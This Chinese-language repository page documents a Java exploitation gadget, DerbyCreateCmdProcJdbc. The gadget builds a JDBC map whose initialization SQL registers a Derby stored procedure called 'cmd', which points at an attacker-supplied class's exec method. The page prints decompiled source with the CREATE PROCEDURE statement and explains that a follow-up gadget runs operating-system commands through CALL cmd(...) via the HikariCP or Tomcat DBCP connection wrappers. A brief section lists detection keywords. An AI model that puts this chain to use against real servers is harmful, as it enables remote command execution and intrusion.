Skip to content

Latest commit

 

History

History
64 lines (50 loc) · 2.84 KB

File metadata and controls

64 lines (50 loc) · 2.84 KB

3.Derby CreateCmdProc 单SQL(DerbyCreateCmdProcJdbc)

  • 类别common 别名:— 优先级:—
  • 作者:X1r0z
  • 依赖derby:org.apache.derby.jdbc.EmbeddedDriver
  • 实现Gadget

作用

生成创建 Derby cmd 存储过程的 JDBC Map。

链接标签

  • 入口 tagsDerbyJdbcUrlJdbcUrlChainsEND
  • 衔接 nextTags:无
  • excludes:无

源码剖析

关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:

public Map<String, Object> getObject() {
        String url = "jdbc:derby:memory:" + this.database + ";create=true";
        ArrayList<String> sqlList = new ArrayList<String>();
        sqlList.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME '" + this.className + ".exec'");
        HashMap<String, Object> map = new HashMap<String, Object>();
        map.put(ContextTag.JDBC_DRIVER, this.driverClassName);
        map.put(ContextTag.JDBC_URL, url);
        map.put(ContextTag.JDBC_URL_SQL_LIST, sqlList);
        return map;
    }

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        Map<String, Object> jdbcMap = this.getObject();
        context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
        return jdbcMap;
    }

getObject() 构造内存 Derby URL,并在 SQL 列表中放入 CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) ... EXTERNAL NAME '<className>.exec'

该 gadget 只负责把 Java 类中的静态方法注册成 Derby 存储过程;真正执行命令要由后续 DerbyCommandJdbc 调用 CALL cmd(...)

invoke() 与其它 Derby 单 SQL gadget 一样写入 DRIVER_CLASS_NAME_KEY,返回给 Hikari、Tomcat DBCP 等 JDBC Attack 包装器。

参数(@Param)

字段 名称 说明 默认 可选值
database 数据库名 "dbtest"
className Jar包内的className 在DerbyInstallJar时可通过Context上下文输出进行获取

适用版本与原理要点

  • 注解描述:适用于HikariCP和TomcatJDBC仅能执行单条SQL情况 CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME '" + className + ".exec'
  • 依赖条件:derby:org.apache.derby.jdbc.EmbeddedDriver
  • 需要 Derby embedded driver,且目标场景允许通过连接初始化 SQL 执行 CREATE PROCEDURE
  • END 标签说明它可以作为链尾构件;如果没有上游包装器触发其返回对象,单独构造不会自动执行。

防御与检测

关注 CREATE PROCEDURE cmdPARAMETER STYLE JAVAEXTERNAL NAMEjdbc:derby:memory:

所属预设链

自由构件,未直接出现在预设链中。

关联

  • 机器可读元数据:index/gadgets.json
  • 完整反编译源码:。